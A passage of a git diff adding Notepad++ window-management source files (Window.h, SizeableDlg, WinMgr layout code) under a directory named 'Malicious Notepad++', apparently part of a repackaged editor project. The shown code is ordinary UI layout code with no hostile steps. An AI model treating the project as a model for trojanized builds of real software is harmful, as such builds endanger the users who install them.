VERTICALFILESWITCHER_RC_H +#define VERTICALFILESWITCHER_RC_H + +#define IDD_FILESWITCHER_PANEL 3000 +#define IDC_LIST_FILESWITCHER (IDD_FILESWITCHER_PANEL + 1) + +#endif // VERTICALFILESWITCHER_RC_H + diff --git a/Malicious Notepad++/src/WinControls/Window.h b/Malicious Notepad++/src/WinControls/Window.h new file mode 100644 index 0000000..e69e02f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Window.h @@ -0,0 +1,137 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once +#include + +class Window +{ +public: + //! \name Constructors & Destructor + //@{ + Window() = default; + Window(const Window&) = delete; + virtual ~Window() = default; + //@} + + + virtual void init(HINSTANCE hInst, HWND parent) + { + _hInst = hInst; + _hParent = parent; + } + + virtual void destroy() = 0; + + virtual void display(bool toShow = true) const + { + ::ShowWindow(_hSelf, toShow ? SW_SHOW : SW_HIDE); + } + + + virtual void reSizeTo(RECT & rc) // should NEVER be const !!! + { + ::MoveWindow(_hSelf, rc.left, rc.top, rc.right, rc.bottom, TRUE); + redraw(); + } + + + virtual void reSizeToWH(RECT& rc) // should NEVER be const !!! + { + ::MoveWindow(_hSelf, rc.left, rc.top, rc.right - rc.left, rc.bottom - rc.top, TRUE); + redraw(); + } + + + virtual void redraw(bool forceUpdate = false) const + { + ::InvalidateRect(_hSelf, nullptr, TRUE); + if (forceUpdate) + ::UpdateWindow(_hSelf); + } + + + virtual void getClientRect(RECT & rc) const + { + ::GetClientRect(_hSelf, &rc); + } + + virtual void getWindowRect(RECT & rc) const + { + ::GetWindowRect(_hSelf, &rc); + } + + virtual int getWidth() const + { + RECT rc; + ::GetClientRect(_hSelf, &rc); + return (rc.right - rc.left); + } + + virtual int getHeight() const + { + RECT rc; + ::GetClientRect(_hSelf, &rc); + if (::IsWindowVisible(_hSelf) == TRUE) + return (rc.bottom - rc.top); + return 0; + } + + virtual bool isVisible() const + { + return (::IsWindowVisible(_hSelf)?true:false); + } + + HWND getHSelf() const + { + return _hSelf; + } + + HWND getHParent() const { + return _hParent; + } + + void getFocus() const { + ::SetFocus(_hSelf); + } + + HINSTANCE getHinst() const + { + //assert(_hInst != 0); + return _hInst; + } + + + Window& operator = (const Window&) = delete; + + +protected: + HINSTANCE _hInst = NULL; + HWND _hParent = NULL; + HWND _hSelf = NULL; +}; \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/WindowInterface.h b/Malicious Notepad++/src/WinControls/WindowInterface.h new file mode 100644 index 0000000..1d172d4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowInterface.h @@ -0,0 +1,44 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef WINDOW_INTERFACE_H +#define WINDOW_INTERFACE_H + +#include "Window.h" + +class WindowInterface : public Window +{ +public : + void init(HINSTANCE hInst, HWND parent, HWND hSelf) { + Window::init(hInst, parent); + _hSelf = hSelf; + }; + virtual void destroy() {}; +}; + +#endif // WINDOW_INTERFACE_H diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/SizeableDlg.cpp b/Malicious Notepad++/src/WinControls/WindowsDlg/SizeableDlg.cpp new file mode 100644 index 0000000..7fde6d2 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/SizeableDlg.cpp @@ -0,0 +1,90 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "WindowsDlg.h" +#include "WindowsDlgRc.h" + +SizeableDlg::SizeableDlg(WINRECT* pWinMap) + : MyBaseClass(), _winMgr(pWinMap) +{ +} + +BOOL SizeableDlg::onInitDialog() +{ + _winMgr.InitToFitSizeFromCurrent(_hSelf); + _winMgr.CalcLayout(_hSelf); + _winMgr.SetWindowPositions(_hSelf); + //getClientRect(_rc); + return TRUE; +} + +void SizeableDlg::onSize(UINT, int cx, int cy) +{ + _winMgr.CalcLayout(cx,cy,_hSelf); + _winMgr.SetWindowPositions(_hSelf); +} + +void SizeableDlg::onGetMinMaxInfo(MINMAXINFO* lpMMI) +{ + _winMgr.GetMinMaxInfo(_hSelf, lpMMI); +} + +LRESULT SizeableDlg::onWinMgr(WPARAM, LPARAM) +{ + return 0; +} + +INT_PTR CALLBACK SizeableDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG: + { + return onInitDialog(); + } + case WM_GETMINMAXINFO: + { + onGetMinMaxInfo((MINMAXINFO*)lParam); + return TRUE; + } + case WM_SIZE: + { + onSize(static_cast(wParam), LOWORD(lParam), HIWORD(lParam)); + return TRUE; + } + + default: + { + if (message == WM_WINMGR) + return (BOOL)onWinMgr(wParam, lParam); + + break; + } + } + return FALSE; +} \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/SizeableDlg.h b/Malicious Notepad++/src/WinControls/WindowsDlg/SizeableDlg.h new file mode 100644 index 0000000..5bf0922 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/SizeableDlg.h @@ -0,0 +1,57 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef SIZABLE_DLG_H +#define SIZABLE_DLG_H + +#ifndef WINDOWS_DLG_RC_H +#include "WindowsDlgRc.h" +#endif //WINDOWS_DLG_RC_H + +#ifndef WINMGR_H +#include "WinMgr.h" +#endif //WINMGR_H + +#include "StaticDialog.h" + +class SizeableDlg : public StaticDialog { + typedef StaticDialog MyBaseClass; +public: + explicit SizeableDlg(WINRECT* pWinMap); + +protected: + CWinMgr _winMgr; // window manager + + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + virtual BOOL onInitDialog(); + virtual void onSize(UINT nType, int cx, int cy); + virtual void onGetMinMaxInfo(MINMAXINFO* lpMMI); + virtual LRESULT onWinMgr(WPARAM wp, LPARAM lp); +}; + +#endif //SIZABLE_DLG_H diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/WinMgr.cpp b/Malicious Notepad++/src/WinControls/WindowsDlg/WinMgr.cpp new file mode 100644 index 0000000..36b649e --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/WinMgr.cpp @@ -0,0 +1,493 @@ +//////////////////////////////////////////////////////////////// +// MSDN Magazine -- July 2001 +// If this code works, it was written by Paul DiLascia. +// If not, I don't know who wrote it. +// Compiles with Visual C++ 6.0. Runs on Win 98 and probably Win 2000 too. +// Set tabsize = 3 in your editor. +// +// Theo - Heavily modified to remove MFC dependencies. +// Replaced CWnd*/HWND, CRect/RECT, CSize/SIZE, CPoint/POINT + + +#include "WinMgr.h" + +// Theo - Style Helpers +inline static DWORD GetStyle(HWND hWnd) { + return (DWORD)GetWindowLongPtr(hWnd, GWL_STYLE); +} + +inline static DWORD GetExStyle(HWND hWnd) { + return (DWORD)GetWindowLongPtr(hWnd, GWL_EXSTYLE); +} + +const UINT WM_WINMGR = RegisterWindowMessage(TEXT("WM_WINMGR")); + +CWinMgr::CWinMgr(WINRECT* pWinMap) : m_map(pWinMap) +{ + WINRECT::InitMap(m_map); +} + +CWinMgr::~CWinMgr() +{ +} + +////////////////// +// Set each control's tofit (desired) size to current size. Useful for +// dialogs, to "remember" the current sizes as desired size. +// +void CWinMgr::InitToFitSizeFromCurrent(HWND hWnd) +{ + assert(hWnd); + assert(m_map); + GetWindowPositions(hWnd); + for (WINRECT* w = m_map; !w->IsEnd(); ++w) { + if (w->Type()==WRCT_TOFIT && !w->IsGroup()) { + w->SetToFitSize(RectToSize(w->GetRect())); + } + } +} + +////////////////// +// Load all rectangles from current window positions. +// +void CWinMgr::GetWindowPositions(HWND hWnd) +{ + assert(m_map); + assert(hWnd); + for (WINRECT* wrc=m_map; !wrc->IsEnd(); ++wrc) { + if (wrc->IsWindow()) { + HWND HChild = GetDlgItem(hWnd, wrc->GetID()); + if (HChild) { + GetWindowRect(HChild, &wrc->GetRect()); + POINT p = RectToPoint(wrc->GetRect()); + ::ScreenToClient(hWnd, &p); + } + } + } +} + +////////////////// +// Move all the windows. Use DeferWindowPos for speed. +// +void +CWinMgr::SetWindowPositions(HWND hWnd) +{ + int nWindows = CountWindows(); + if (m_map && hWnd && nWindows>0) { + HDWP hdwp = ::BeginDeferWindowPos(nWindows); + int count=0; + for (WINRECT* wrc=m_map; !wrc->IsEnd(); ++wrc) { + if (wrc->IsWindow()) { + assert(count < nWindows); + HWND hwndChild = ::GetDlgItem(hWnd, wrc->GetID()); + if (hwndChild) { + const RECT& rc = wrc->GetRect(); + ::DeferWindowPos(hdwp, + hwndChild, + NULL, // HWND insert after + rc.left,rc.top,RectWidth(rc),RectHeight(rc), + SWP_NOZORDER); + InvalidateRect(hwndChild,NULL,TRUE); // repaint + ++count; + } + } else { + // not a window: still need to repaint background + InvalidateRect(hWnd, &wrc->GetRect(), TRUE); + } + } + ::EndDeferWindowPos(hdwp); + } +} + +////////////////// +// Count number of table entries that correspond to windows--ie, +// that have a child window ID associated with the entry. +// +int CWinMgr::CountWindows() +{ + assert(m_map); + int nWin = 0; + for (WINRECT* w=m_map; !w->IsEnd(); ++w) { + if (w->IsWindow()) + ++nWin; + } + return nWin; +} + +////////////////// +// Find the entry for a given control ID +// +WINRECT* CWinMgr::FindRect(int nID) +{ + assert(m_map); + for (WINRECT* w=m_map; !w->IsEnd(); ++w) { + if (w->GetID() == static_cast(nID)) + return w; + } + return NULL; +} + +////////////////// +// Calculate size/positions for a row or column group This is the main +// algorithm. If a window is given, it's used to get the min/max size and +// desired size for TOFIT types. +// +void +CWinMgr::CalcGroup(WINRECT* pGroup, HWND hWnd) +{ + // If this bombs, most likely the first entry in your map is not a group! + assert(pGroup && pGroup->IsGroup()); + assert(hWnd); + + // adjust total avail by margins + RECT rcTotal = pGroup->GetRect(); + int w,h; + if (pGroup->GetMargins(w,h)) { + w = min(abs(w), RectWidth(rcTotal)/2); + h = min(abs(h), RectHeight(rcTotal)/2); + ::InflateRect(&rcTotal, -w, -h); + } + + BOOL bRow = pGroup->IsRowGroup(); // Is this a row group? + + // Running height or width: start with total + int hwRemaining = bRow ? RectHeight(rcTotal) : RectWidth(rcTotal); + + // First, set all rects to their minimum sizes. + // This ensures that each rect gets its min size. + CWinGroupIterator it; + for (it=pGroup; it; it.Next()) { + WINRECT* wrc = it; + SIZEINFO szi; + OnGetSizeInfo(szi, wrc, hWnd); + int hwMin = bRow ? szi.szMin.cy : szi.szMin.cx; + hwMin = min(hwMin, hwRemaining); // truncate + wrc->SetHeightOrWidth(hwMin, bRow); // set + hwRemaining -= hwMin; // decrement remaining height/width + assert(hwRemaining>=0); + } + + // Now adjust all rects upward to desired size. Save REST rect for last. + WINRECT* pRestRect = NULL; + for (it=pGroup; it; it.Next()) { + WINRECT* wrc = it; + if (wrc->Type()==WRCT_REST) { + assert(pRestRect==NULL); // can only be one REST rect! + pRestRect = wrc; // remember it + } else { + AdjustSize(wrc, bRow, hwRemaining, hWnd); + } + } + assert(hwRemaining>=0); + + // Adjust REST rect if any + if (pRestRect) { + AdjustSize(pRestRect, bRow, hwRemaining, hWnd); + assert(hwRemaining==0); + } + + // All the sizes of the entries have been calculated, including + // groups (but not their children). Now move all the rects so they're + // adjacent to one another, without altering sizes. + PositionRects(pGroup, rcTotal, bRow); + + // Finally, descend recursively into each subgroup. + for (it=pGroup; it; it.Next()) { + WINRECT* wrc = it; + if (wrc->IsGroup()) + CalcGroup(wrc, hWnd); // recurse! + } +} + +////////////////// +// Adjust the size of a single entry upwards to its desired size. +// Decrement hwRemaining by amount increased. +// +void +CWinMgr::AdjustSize(WINRECT* wrc, BOOL bRow, + int& hwRemaining, HWND hWnd) +{ + SIZEINFO szi; + OnGetSizeInfo(szi, wrc, hWnd); + int hw = bRow ? szi.szDesired.cy : szi.szDesired.cx; // desired ht or wid + if (wrc->Type() == WRCT_REST) { + // for REST type, use all remaining space + RECT& rc = wrc->GetRect(); + hw = hwRemaining + (bRow ? RectHeight(rc) : RectWidth(rc)); + } + + // Now hw is the desired height or width, and the current size of the + // entry is the min size. So adjust the size upwards, and decrement + // hwRemaining appropriately. This is a little confusing, but necessary so + // each entry gets its min size. + // + int hwCurrent = wrc->GetHeightOrWidth(bRow); // current size + int hwExtra = hw - hwCurrent; // amount extra + hwExtra = min(max(hwExtra, 0), hwRemaining); // truncate + hw = hwCurrent + hwExtra; // new height-or-width + wrc->SetHeightOrWidth(hw, bRow); // set... + hwRemaining -= hwExtra; // and adjust remaining +} + +////////////////// +// Position all the rects so they're as wide/high as the total and follow one +// another; ie, are adjacent. This operation leaves the height (rows) and +// width (columns) unaffected. For rows, set each row's width to rcTotal and +// one below the other; for columns, set each column as tall as rcTotal and +// each to the right of the previous. +// +void +CWinMgr::PositionRects(WINRECT* pGroup, const RECT& rcTotal, BOOL bRow) +{ + LONG xoryPos = bRow ? rcTotal.top : rcTotal.left; + + CWinGroupIterator it; + for (it=pGroup; it; it.Next()) { + WINRECT* wrc = it; + RECT& rc = wrc->GetRect(); + if (bRow) { // for ROWS: + LONG height = RectHeight(rc); // height of row = total height + rc.top = xoryPos; // top = running yPos + rc.bottom = rc.top + height; // ... + rc.left = rcTotal.left; // ... + rc.right = rcTotal.right; // ... + xoryPos += height; // increment yPos + + } else { // for COLS: + LONG width = RectWidth(rc); // width = total width + rc.left = xoryPos; // left = running xPos + rc.right = rc.left + width; // ... + rc.top = rcTotal.top; // ... + rc.bottom = rcTotal.bottom; // ... + xoryPos += width; // increment xPos + } + } +} + +////////////////// +// Get size information for a single entry (WINRECT). Returns size info in +// the SIZEINFO argument. For a group, calculate size info as aggregate of +// subentries. +// +void +CWinMgr::OnGetSizeInfo(SIZEINFO& szi, WINRECT* wrc, HWND hWnd) +{ + szi.szMin = SIZEZERO; // default min size = zero + szi.szMax = SIZEMAX; // default max size = infinite + szi.szDesired = RectToSize(wrc->GetRect()); // default desired size = current + + if (wrc->IsGroup()) { + // For groups, calculate min, max, desired size as aggregate of children + szi.szDesired = SIZEZERO; + BOOL bRow = wrc->IsRowGroup(); + + CWinGroupIterator it; + for (it=wrc; it; it.Next()) { + WINRECT* wrc2 = it; + SIZEINFO szi2; + OnGetSizeInfo(szi2, wrc2, hWnd); + if (bRow) { + szi.szMin.cx = max(szi.szMin.cx, szi2.szMin.cx); + szi.szMin.cy += szi2.szMin.cy; + szi.szMax.cx = min(szi.szMax.cx, szi2.szMax.cx); + szi.szMax.cy = min(szi.szMax.cy + szi2.szMax.cy, SHRT_MAX); + szi.szDesired.cx = max(szi.szDesired.cx, szi2.szDesired.cx); + szi.szDesired.cy += szi2.szDesired.cy; + + } else { + szi.szMin.cx += szi2.szMin.cx; + szi.szMin.cy = max(szi.szMin.cy, szi2.szMin.cy); + szi.szMax.cx = min(szi.szMax.cx + szi2.szMax.cx, SHRT_MAX); + szi.szMax.cy = min(szi.szMax.cy, szi2.szMax.cy); + szi.szDesired.cx += szi2.szDesired.cx; + szi.szDesired.cy = max(szi.szDesired.cy, szi2.szDesired.cy); + } + } + + // Add margins. + int w2,h2; + wrc->GetMargins(w2,h2); // get margins + w2<<=1; h2<<=1; // double + szi.szMin.cx += max(0,w2); // negative margins ==> don't include in min + szi.szMin.cy += max(0,h2); // ditto + szi.szDesired.cx += abs(w2); // for desired size, use abs vallue + szi.szDesired.cy += abs(h2); // ditto + + } else { + // not a group + WINRECT* parent = wrc->Parent(); + assert(parent); + RECT& rcParent = parent->GetRect(); + BOOL bRow = parent->IsRowGroup(); + int hw, hwMin, hwTotal, pct; + + switch (wrc->Type()) { + case WRCT_FIXED: + hw = hwMin = wrc->GetParam(); // ht/wid is parameter + if (hw<0) { // if fixed val is negative: + hw = -hw; // use absolute val for desired.. + hwMin = 0; // ..and zero for minimum + } + if (bRow) { + szi.szMax.cy = szi.szDesired.cy = hw; + szi.szMin.cy = hwMin; + } else { + szi.szMax.cx = szi.szDesired.cx = hw; + szi.szMin.cx = hwMin; + } + break; + + case WRCT_PCT: + pct = wrc->GetParam(); + assert(0HasToFitSize()) { + szi.szDesired = wrc->GetToFitSize(); + } + break; + + case WRCT_REST: + break; + + default: + assert(FALSE); + } + + // If the entry is a window, send message to get min/max/tofit size. + // Only set tofit size if type is TOFIT. + // + if (wrc->IsWindow() && hWnd) { + HWND hChild = GetDlgItem(hWnd, wrc->GetID()); + if (hChild) { + if (!IsWindowVisible(hChild) && IsWindowVisible(hWnd)) { + // parent visible but child not ==> tofit size is zero + // important so hidden windows use no space + szi.szDesired = SIZEZERO; + } else { + szi.szAvail = RectToSize(rcParent); + SendGetSizeInfo(szi, hWnd, wrc->GetID()); + } + } + } + szi.szDesired = maxsize(minsize(szi.szDesired,szi.szMax), szi.szMin); + } +} + +////////////////// +// Send message to parent, then window itself, to get size info. +// +BOOL CWinMgr::SendGetSizeInfo(SIZEINFO& szi, HWND hWnd, UINT nID) +{ + NMWINMGR nmw; + nmw.code = NMWINMGR::GET_SIZEINFO; // request size info + nmw.idFrom = nID; // ID of child I'm computing + nmw.sizeinfo = szi; // copy + + if (!SendMessage(hWnd, WM_WINMGR, nID, reinterpret_cast(&nmw)) && !nmw.processed) + { + HWND hwndChild = ::GetDlgItem(hWnd, nID); + if (!hwndChild || !::SendMessage(hwndChild, WM_WINMGR, nID, reinterpret_cast(&nmw))) + return FALSE; + } + szi = nmw.sizeinfo; // copy back to caller's struct + return TRUE; +} + +////////////////// +// Get min/max info. +// +void +CWinMgr::GetMinMaxInfo(HWND hWnd, MINMAXINFO* lpMMI) +{ + SIZEINFO szi; + GetMinMaxInfo(hWnd, szi); // call overloaded version + lpMMI->ptMinTrackSize = SizeToPoint(szi.szMin); + lpMMI->ptMaxTrackSize = SizeToPoint(szi.szMax); +} + +////////////////// +// Get min/max info. +// +void CWinMgr::GetMinMaxInfo(HWND hWnd, SIZEINFO& szi) +{ + OnGetSizeInfo(szi, m_map, hWnd); // get size info + if (!hWnd) // window not created ==> done + return; + + // Add extra space for frame/dialog screen junk. + DWORD dwStyle = GetStyle(hWnd); + DWORD dwExStyle = GetExStyle(hWnd); + if (dwStyle & WS_VISIBLE) + { + SIZE& szMin = szi.szMin; // ref! + if (!(dwStyle & WS_CHILD)) + { + if (dwStyle & WS_CAPTION) + szMin.cy += GetSystemMetrics(SM_CYCAPTION); + if (::GetMenu(hWnd)) + szMin.cy += GetSystemMetrics(SM_CYMENU); + } + + if (dwStyle & WS_THICKFRAME) + { + szMin.cx += 2*GetSystemMetrics(SM_CXSIZEFRAME); + szMin.cy += 2*GetSystemMetrics(SM_CYSIZEFRAME); + } + else if (dwStyle & WS_BORDER) + { + szMin.cx += 2*GetSystemMetrics(SM_CXBORDER); + szMin.cy += 2*GetSystemMetrics(SM_CYBORDER); + } + + if (dwExStyle & WS_EX_CLIENTEDGE) + { + szMin.cx += 2*GetSystemMetrics(SM_CXEDGE); + szMin.cy += 2*GetSystemMetrics(SM_CYEDGE); + } + } +} + +////////////////// +// Move desired rectangle by a given vector amount. +// Call this when a sizer bar tells you it has moved. +// +void CWinMgr::MoveRect(WINRECT* pwrcMove, POINT ptMove, HWND pParentWnd) +{ + assert(pwrcMove); + WINRECT* prev = pwrcMove->Prev(); + assert(prev); + WINRECT* next = pwrcMove->Next(); + assert(next); + + BOOL bIsRow = pwrcMove->Parent()->IsRowGroup(); + + RECT& rcNext = next->GetRect(); + RECT& rcPrev = prev->GetRect(); + if (bIsRow) + { + // a row can only be moved up or down + ptMove.x = 0; + rcPrev.bottom += ptMove.y; + rcNext.top += ptMove.y; + } + else + { + // a column can only be moved left or right + ptMove.y = 0; + rcPrev.right += ptMove.x; + rcNext.left += ptMove.x; + } + + OffsetRect(pwrcMove->GetRect(), ptMove); + if (prev->IsGroup()) + CalcGroup(prev, pParentWnd); + if (next->IsGroup()) + CalcGroup(next, pParentWnd); +} + +// Theo - Removed Tracing diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/WinMgr.h b/Malicious Notepad++/src/WinControls/WindowsDlg/WinMgr.h new file mode 100644 index 0000000..7e310ed --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/WinMgr.h @@ -0,0 +1,297 @@ +//////////////////////////////////////////////////////////////// +// MSDN Magazine -- July 2001 +// If this code works, it was written by Paul DiLascia. +// If not, I don't know who wrote it. +// Compiles with Visual C++ 6.0. Runs on Win 98 and probably Win 2000 too. +// Set tabsize = 3 in your editor. +// +// WinMgr.h -- Main header file for WinMgr library. +// +// Theo - Heavily modified to remove MFC dependencies +// Replaced CWnd*/HWND, CRect/RECT, CSize/SIZE, CPoint/POINT +#ifndef WINMGR_H +#define WINMGR_H + +#pragma once + +#include +#include + + +const SIZE SIZEZERO = {0, 0}; +const SIZE SIZEMAX = {SHRT_MAX, SHRT_MAX}; + +inline SIZE GetSize(LONG w, LONG h) { + SIZE sz = {w, h}; return sz; +} + +inline POINT GetPoint(LONG x, LONG y) { + POINT pt = {x, y}; return pt; +} + +inline LONG RectWidth(const RECT& rc) { + return rc.right - rc.left; +} + +inline LONG RectHeight(const RECT& rc) { + return rc.bottom - rc.top; +} + +inline SIZE RectToSize(const RECT& rc) { + return GetSize(RectWidth(rc), RectHeight(rc)); +} + +inline POINT RectToPoint(const RECT& rc) { + POINT pt = {rc.left, rc.top}; + return pt; +} + +inline POINT SizeToPoint(SIZE sz) { + return GetPoint(sz.cx, sz.cy); +} + +inline RECT &OffsetRect(RECT& rc, POINT pt) { + rc.left += pt.x; rc.right += pt.x; + rc.top += pt.y; rc.bottom += pt.y; + return rc; +} + +// handy functions to take the min or max of a SIZE +inline SIZE minsize(SIZE a, SIZE b) { + return GetSize(min(a.cx, b.cx), min(a.cy, b.cy)); +} + +inline SIZE maxsize(SIZE a, SIZE b) { + return GetSize(max(a.cx, b.cx), max(a.cy, b.cy)); +} + +////////////////// +// Size info about a rectangle/row/column +// +struct SIZEINFO { + SIZE szAvail; // total size avail (passed) + SIZE szDesired; // desired size: default=current + SIZE szMin; // minimum size: default=SIZEZERO + SIZE szMax; // maximum size: default=MAXSIZE +}; + +// types of rectangles: +#define WRCT_END 0 // end of table +#define WRCT_FIXED 0x0001 // height/width is fixed +#define WRCT_PCT 0x0002 // height/width is percent of total +#define WRCT_REST 0x0003 // height/width is whatever remains +#define WRCT_TOFIT 0x0004 // height/width to fit contents +#define WRCF_TYPEMASK 0x000F + +// group flags +#define WRCF_ROWGROUP 0x0010 // beginning of row group +#define WRCF_COLGROUP 0x0020 // beginning of column group +#define WRCF_ENDGROUP 0x00F0 // end of group +#define WRCF_GROUPMASK 0x00F0 + +////////////////// +// This structure is used to hold a rectangle and describe its layout. Each +// WINRECT corresponds to a child rectangle/window. Each window that uses +// WinMgr provides a table (C array) of these to describe its layout. +// +class WINRECT { +protected: + // pointers initialized by the window manager for easy traversing: + WINRECT* next; // next at this level + WINRECT* prev; // prev at this level + + // data + RECT rc; // current rectangle position/size + WORD flags; // flags (see above) + UINT nID; // window ID if this WINRECT represents a window + LONG param; // arg depends on type + +public: + WINRECT(WORD f, int id, LONG p); + + static WINRECT* InitMap(WINRECT* map, WINRECT* parent=NULL); + + WINRECT* Prev() { return prev; } + WINRECT* Next() { return next; } + WINRECT* Children() { return IsGroup() ? this+1 : NULL; } + WINRECT* Parent(); + WORD GetFlags() { return flags; } + WORD SetFlags(WORD f) { return flags=f; } + LONG GetParam() { return param; } + LONG SetParam(LONG p) { return param=p; } + UINT GetID() { return nID; } + UINT SetID(UINT id) { return nID=id; } + RECT& GetRect() { return rc; } + void SetRect(const RECT& r) { rc = r; } + WORD Type() const { return flags & WRCF_TYPEMASK; } + WORD GroupType() const { return flags & WRCF_GROUPMASK; } + BOOL IsGroup() const { return GroupType() && GroupType()!=WRCF_ENDGROUP; } + BOOL IsEndGroup() const { return flags==0 || flags==WRCF_ENDGROUP; } + BOOL IsEnd() const { return flags==0; } + BOOL IsWindow() const { return nID>0; } + BOOL IsRowGroup() const { return (flags & WRCF_GROUPMASK)==WRCF_ROWGROUP; } + void SetHeight(LONG h) { rc.bottom = rc.top + h; } + void SetWidth(LONG w) { rc.right = rc.left + w; } + LONG GetHeightOrWidth(BOOL bHeight) const { + return bHeight ? RectHeight(rc) : RectWidth(rc); + } + void SetHeightOrWidth(LONG horw, BOOL bHeight) { + bHeight ? SetHeight(horw) : SetWidth(horw); + } + BOOL GetMargins(int& w, int& h); + + // For TOFIT types, param is the TOFIT size, if nonzero. Used in dialogs, + // with CWinMgr::InitToFitSizeFromCurrent. + BOOL HasToFitSize() { return param != 0; } + SIZE GetToFitSize() { SIZE sz = {LOWORD(param),HIWORD(param)}; return sz; } + void SetToFitSize(SIZE sz) { param = MAKELONG(sz.cx,sz.cy); } +}; + +////////////////// +// Below are all the macros to build your window map. +// + +// Begin/end window map. 'name' can be anything you want +#define BEGIN_WINDOW_MAP(name) WINRECT name[] = { +#define END_WINDOW_MAP() WINRECT(WRCT_END,-1,0) }; + +// Begin/end a group. +// The first entry in your map must be BEGINROWS or BEGINCOLS. +#define BEGINROWS(type,id,m) WINRECT(WRCF_ROWGROUP|type,id,m), +#define BEGINCOLS(type,id,m) WINRECT(WRCF_COLGROUP|type,id,m), +#define ENDGROUP() WINRECT(WRCF_ENDGROUP,-1,0), + +// This macros is used only with BEGINGROWS or BEGINCOLS to specify margins +#define RCMARGINS(w,h) MAKELONG(w,h) + +// Macros for primitive (non-group) entries. +// val applies to height for a row entry; width for a column entry. +#define RCFIXED(id,val) WINRECT(WRCT_FIXED,id,val), +#define RCPERCENT(id,val) WINRECT(WRCT_PCT,id,val), +#define RCREST(id) WINRECT(WRCT_REST,id,0), +#define RCTOFIT(id) WINRECT(WRCT_TOFIT,id,0), +#define RCSPACE(val) RCFIXED(-1,val) + +////////////////// +// Use this to iterate the entries in a group. +// +// CWinGroupIterator it; +// for (it=pGroup; it; it.Next()) { +// WINRECT* wrc = it; +// .. +// } +// +class CWinGroupIterator { +protected: + WINRECT* pCur; // current entry +public: + CWinGroupIterator() { pCur = NULL; } + CWinGroupIterator& operator=(WINRECT* pg) { + assert(pg->IsGroup()); // can only iterate a group! + pCur = pg->Children(); + return *this; + } + operator WINRECT*() { return pCur; } + WINRECT* pWINRECT() { return pCur; } + WINRECT* Next() { return pCur = pCur ? pCur->Next() : NULL;} +}; + +// Registered WinMgr message +extern const UINT WM_WINMGR; + +// Notification struct, passed as LPARAM +struct 